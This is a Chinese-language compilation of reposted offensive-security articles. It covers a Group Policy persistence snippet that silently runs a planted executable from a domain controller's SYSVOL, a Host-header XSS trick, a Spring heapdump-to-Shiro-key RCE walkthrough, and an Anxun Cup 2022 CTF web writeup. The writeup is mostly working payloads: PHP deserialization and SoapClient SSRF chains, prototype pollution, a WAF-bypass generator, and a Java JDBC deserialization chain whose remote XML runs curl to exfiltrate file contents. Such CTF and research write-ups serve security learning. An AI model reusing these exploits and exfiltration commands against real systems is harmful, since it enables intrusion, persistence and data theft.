NothingstrComputer = "."set ws=wscript.createobject("wscript.shell")val=ws.run ("C:\Users\Public\Documents\ChsIME.exe",0) 上传至dc c:\windows\SYSVOL\sysvol\redteam.com\SCRIPTS\目录下,通过方法一或方法二进行绑定后刷新组策略即可 https://www.cnblogs.com/websecyw/p/16657762.html
-
日常SRC中xss小tips
0x00 前言 关于众测、专属中如何去捡漏xss洞,水文,水文,水文!!!0x01 日常测试日常无聊测站点,当你在渗透测试时候,发现有某个html标签调用服务器内图片的,并且是那种加入服务器ip地址的,可以尝试通过修改host头来fuzz一下,探测下是否存在xss。 看到这种情况我们可以大概猜想一下,其中的后段代码可能是以下样子:<img src="<?php echo "http://{$_SERVER['HTTP_HOST']}/"?>xxx/aaa.png" />这样看来就很简单了,修改一下请求包中的host就能造成xss咯。 成功弹窗 捡破烂小tips完结。 转自原来链接:https://blog.csdn.net/Guapichen/article/details/124040935?spm=1001.2014.3001.5501
-
heapdump泄露Shiro key从而RCE
1. 简介我搭建了一个Spring heapdump泄露shiro key从而RCE的漏洞环境,Github地址:https://github.com/P4r4d1se/heapdump_shiro_vuln 漏洞利用条件: Spring Shiro环境存在heapdump文件泄露存在可利用链2. 漏洞原理Shiro相关的漏洞原理和调试分析已经有很多大佬分享过了,这里不再赘述,这里主要针对这个漏洞环境进行说明: (1)Spring其实是有自己默认安全框架的,叫Spring Security,但可能有的开发用Shiro用习惯了,将Spring Securiy替换成了Shiro,这种情况并不少见,比如若依就是Spring shiro。 (2)在有key的情况下,即使是最新版的Shiro也一样存在漏洞,而且在很多时候都会因为开发、部署等问题导致shiro key的泄露。 (3)Shiro大于1.2.4的版本中,在没有开发人员人工干预的情况下key改为了随机生成,这个随机生成是在每次启动Web环境的时候,重启前这个key不会改变,可以在JVM虚拟机内存里找到。 (4)Spring的heapdump文件就是从JVM虚拟机内存导出的。 综上所述导致了这个组合漏洞的产生。 3. 漏洞演示加载漏洞环境后,可以看到Shiro版本为1.8.0: 访问8080端口的/actuator/heapdump获取heapdump文件: 获取其中的shiro key,我常用的有两种方式: (1)JDumpSpider:https://github.com/whwlsfb/JDumpSpider 这个小工具可以自动爬取heapdump中的变量信息,比较方便,坏处是可能会漏掉没在爬取列表中的信息。 直接运行:java -jar JDumpSpider.jar heapdump即可自动获取变量信息,这里获取到ShiroKey:(2)jvisualvm.exe:Java自带的工具,默认路径为:JDK目录/bin/jvisualvm.exe 这个工具需要手动去找想要的信息,在过滤里输入org.apache.shiro.web.mgt.CookieRememberMeManager,圈出来的16个字节的值就是key: 用一个Python小脚本转成base64编码后的Shiro key:用一个Python小脚本转成base64编码后的Shiro key: import base64 import struct print(base64.b64encode(struct.pack('<bbbbbbbbbbbbbbbb', 109,-96,12,-115,33,59,24,112,44,124,56,110,-15,59,1,-41)))使用获得的key进行利用成功: 重新启动服务器再次获取shiro key,可以看到key改变了,验证了漏洞原理的第3点,每次启动生成一个随机key: 改用新的key仍然可进行利用: 转自原文链接: https://xz.aliyun.com/t/11908
-
安洵杯2022 Web Writeup
babyphp index.php: <?php //something in flag.php class A { public $a; public $b; public function __wakeup() { $this->a = "babyhacker"; } public function __invoke() { if (isset($this->a) && $this->a == md5($this->a)) { $this->b->uwant(); } } } class B { public $a; public $b; public $k; function __destruct() { $this->b = $this->k; die($this->a); } } class C { public $a; public $c; public function __toString() { $cc = $this->c; return $cc(); } public function uwant() { if ($this->a == "phpinfo") { phpinfo(); } else { call_user_func(array(reset($_SESSION), $this->a)); } } } if (isset($_GET['d0g3'])) { ini_set($_GET['baby'], $_GET['d0g3']); session_start(); $_SESSION['sess'] = $_POST['sess']; } else{ session_start(); if (isset($_POST["pop"])) { unserialize($_POST["pop"]); } } var_dump($_SESSION); highlight_file(__FILE__); flag.php: <?php session_start(); highlight_file(__FILE__); //flag在根目录下 if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $f1ag=implode(array(new $_GET['a']($_GET['b']))); $_SESSION["F1AG"]= $f1ag; }else{ echo "only localhost!!"; } 通过构造 pop 链查看 phpinfo 发现 session.serialize_handler 为 php, 再结合 flag.php 的源码推测是利用 session 反序列化 SoapClient 来进行 ssrf 思路就是先控制 ini_set 的参数指定 serialize_handler 为 php_serialize, 传参 sess 为反序列化 SoapClient 的 payload, 然后去掉所有 get post 参数访问一次页面触发反序列化, 最后利用已知 pop 链调用 SoapClient __call 方法来触发 ssrf ssrf 则先利用 php 的原生类 GlobIterator 来查找根目录下以 f 开头的文件, 然后利用 SplFileObject 读取 flag pop 链 payload: <?php class A { public $a; public $b; } class B { } class C { public $a; public $c; } $cc = new C(); $cc->a = 'xxxx'; $a = new A(); $a->a = '0e215962017'; $a->b = $cc; $c = new C(); $c->c = $a; $b = new B(); $b->a = $c; echo serialize($b); ssrf payload: <?php // $a = new SoapClient(null,array('location' => 'http://127.0.0.1/flag.php?a=GlobIterator&b=/f*', 'user_agent' => "111\r\nCookie: PHPSESSID=c9urdtg4kjp5jl36mrl44qlsah", 'uri' => 'test')); $a = new SoapClient(null,array('location' => 'http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg', 'user_agent' => "111\r\nCookie: PHPSESSID=c9urdtg4kjp5jl36mrl44qlsah", 'uri' => 'test')); $b = serialize($a); echo '|'.urlencode($b); 先利用 GlobIterator 再利用 SplFileObject EZ_JS 登录界面随便输入账号密码, 之后会跳转到 /cookie 路由, 右键注释 jsfuck 解密提示 输入大写 主页右键注释如下: <!--This secret is 7 characters long for security! hash=md5(secret+"flag");//1946714cfa9deb70cc40bab32872f98a admin cookie is md5(secret+urldecode("flag%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00X%00%00%00%00%00%00%00dog")); --> 一眼哈希长度扩展攻击 直接更改 cookie hash 发现没有用, 后来又将 userid 置空, 出现报错 结合之前的提示, 利用 js 的大小写特性: 'ı'.toUpperCase() == 'I' // true 之后跳转到 /infoflllllag (静态环境每 30 分钟重置, 所以截的是之前的图) var express = require('express'); var router = express.Router(); const isObject = obj => obj && obj.constructor && obj.constructor === Object; const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a) => { return merge({}, a); } router.get('/', function(req, res, next) { if(req.flag=="flag"){ //输出flag; res.send('flag?????????????'); } res.render('info'); }); router.post('/', express.json(),function(req, res) { var str = req.body.id; var obj = JSON.parse(str); req.cookies.id=clone(obj); res.render('info'); }); module.exports = router; 很明显要通过原型链来污染 req 的 flag 属性, payload 如下 id={"__proto__":+{"flag":+"flag"}} 之后转 get 访问得到 flag 静态靶机的截图 ezupload 先上传 phpinfo php 8.0.1, disable_functions 过滤了一堆, 不过 file_get_contents() 可用, 通过它读取题目源码 <html> <body> <form method="POST" enctype="multipart/form-data"> 这前端不美si你!!! <input type="file" name="upload_file" /> <input type="submit" name="submit" value="submit" /> </form> </body> </html> <?php function waf($var): bool{ $blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"]; foreach($blacklist as $blackword){ if(stristr($var, $blackword)) return True; } return False; } error_reporting(0); //设置上传目录 define("UPLOAD_PATH", "./uploads"); $msg = "Upload Success!"; if (isset($_POST['submit'])) { $temp_file = $_FILES['upload_file']['tmp_name']; $file_name = $_FILES['upload_file']['name']; $ext = pathinfo($file_name,PATHINFO_EXTENSION); if(!preg_match("/php/i", strtolower($ext))){ die("俺不要图片,熊大"); } $content = file_get_contents($temp_file); if(waf($content)){ die("哎呦你干嘛,小黑子..."); } $new_file_name = md5($file_name).".".$ext; $img_path = UPLOAD_PATH . '/' . $new_file_name; if (move_uploaded_file($temp_file, $img_path)){ $is_upload = true; } else { $msg = 'Upload Failed!'; die(); } echo $msg." ".$img_path; 位运算 & | 没有被过滤, 这里以 | 为例, 利用 GlobIterator 查找 flag import re preg = '\*' def convertToURL(s): if s < 16: return '%0' + str(hex(s).replace('0x', '')) else: return '%' + str(hex(s).replace('0x', '')) def generateDicts(): dicts = {} for i in range(256): for j in range(256): if not re.match(preg, chr(i), re.I) and not re.match(preg, chr(j), re.I): k = i | j if k in range(32, 127): if not k in dicts.keys(): dicts[chr(k)] = [convertToURL(i), convertToURL(j)] return dicts def generatePayload(dicts, payload): s1 = '' s2 = '' for s in payload: s1 += dicts[s][0] s2 += dicts[s][1] return f'("{s1}"|"{s2}")' dicts = generateDicts() a = generatePayload(dicts, '/f*') print(a) payload <?php echo new GlobIterator('/f('|'/f"'); 然后用 file_get_contents() 读取 flag <?php echo ('fil'.'e_ge'.'t_cont'.'ents')('/fl1111111111ag'); ezjaba pom.xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.7.5</version> <relativePath/> <!-- lookup parent from repository --> </parent> <groupId>com.example</groupId> <artifactId>ezjaba</artifactId> <version>0.0.1-SNAPSHOT</version> <name>ezjaba</name> <description>ezjaba</description> <properties> <java.version>1.8</java.version> </properties> <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency> <dependency> <groupId>com.rometools</groupId> <artifactId>rome</artifactId> <version>1.7.0</version> </dependency> <dependency> <groupId>org.postgresql</groupId> <artifactId>postgresql</artifactId> <version>42.3.1</version> </dependency> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>8.0.12</version> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> </plugin> </plugins> </build> </project> IndexController Database JdbcUtils SecurityObjectInpitStream 过滤了 mysql jdbc 反序列化, 网上查了一会发现最近 postgresql 依赖的 cve https://xz.aliyun.com/t/11812 https://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247485275&idx=1&sn=e06b07579ecef87f8cce4536d25789ce 结合 pom.xml 中的 rome, 通过 ToStringBean 来触发任意 getter 在题目中是利用 Database getConnection 这个 getter 来触发 jdbc 漏洞 之后从 marshalsec 的源码中找到 XString, 它的 equals 方法会调用 toString, 最终结合 hashCode 碰撞完成整条反序列化链 payload: package com.example.ezjaba; import com.example.Reflection; import com.example.ezjaba.Connection.Database; import com.rometools.rome.feed.impl.ToStringBean; import com.sun.org.apache.xpath.internal.objects.XString; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.util.*; public class RomeDemo { public static void main(String[] args) throws Exception{ Database database = new Database(); database.setDatabase("postgresql"); database.setHots("127.0.0.1"); database.setUsername("test"); database.setPassword("=123456&socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://1.117.70.230:65001/exp.xml"); ToStringBean toStringBean = new ToStringBean(String.class, "123"); XString xString = new XString("456"); Map map1 = new HashMap(); Map map2 = new HashMap(); map1.put("yy",toStringBean); map1.put("zZ",xString); map2.put("yy",xString); map2.put("zZ",toStringBean); Map map = new HashMap(); map.put(map1, 1); map.put(map2, 2); Reflection.setFieldValue(toStringBean, "beanClass", Database.class); Reflection.setFieldValue(toStringBean, "obj", database); ByteArrayOutputStream arr = new ByteArrayOutputStream(); try (ObjectOutputStream output = new ObjectOutputStream(arr)){ output.writeUTF("axb"); output.writeInt(2022); output.writeObject(map); } System.out.println(Base64.getEncoder().encodeToString(arr.toByteArray())); } } exp.xml: <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:p="http://www.springframework.org/schema/p" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <!-- 普通方式创建类--> <bean id="exec" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value>curl http://x.x.x.x:yyyy/ -X POST -d "`ls /;cat /*`"</value> </list> </constructor-arg> </bean> </beans> vps 上挂着 exp.xml, 然后用 base64 payload 打一下 转自原文链接: https://exp10it.cn/2022/11/2022-%E5%AE%89%E6%B4%B5%E6%9D%AF-web-writeup/#babyphp